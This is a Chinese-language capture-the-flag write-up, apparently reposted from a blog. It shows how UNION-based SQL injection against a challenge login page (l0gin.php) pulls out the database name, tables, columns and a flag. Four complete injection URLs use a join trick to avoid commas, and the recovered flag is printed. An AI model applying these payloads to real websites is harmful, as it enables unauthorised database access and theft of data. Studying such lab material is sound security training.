本文共 1414 字,大约阅读时间需要 4 分钟。
通过对Web应用的安全测试,我发现了两个可疑的登录界面,分别是l0gin.php和login.php。初步分析认为,l0gin.php更有可能是攻击者所使用的入口点。
在使用BP工具抓包的过程中,我发现index.php返回了302重定向状态码。进一步分析HTTP头文件,发现重定向的目标页面是l0gin.php,这表明攻击者可能正在通过中间页面进行注入。
为了进一步分析,我手动构造了SQL注入的语句。首先,我尝试判断字段类型,发现id字段的值返回的是数字型,而username字段则返回的是字符型。随后,我使用UNION SELECT技巧,尝试连接多个数据源,验证是否能够回显数据。
在第二个测试中,由于数据被截断,直接使用UNION SELECT无法获取完整的信息。经过多次尝试,我发现可以通过合理构造SELECT语句,直接获取数据库的信息。
通过进一步的分析,我成功获取到了数据库的名字、表的名字以及表中字段的信息。最终,我发现users表中存储了id、username以及一系列与安全相关的字段信息。
在实际测试中,我构造了以下SQL语句:
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select database()) a join (select null) b%23
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select flag_9c861b688330 from users) a join (select null) b%23
通过这些语句,我最终成功获取到了目标数据库中的flag值:
id username
flag{7176716c-1d16-474c-8660-33faaf8bc43e} null
这个过程展示了如何通过精细的SQL注入技巧,逐步提取Web应用的敏感信息。
转载地址:http://qujuz.baihongyu.com/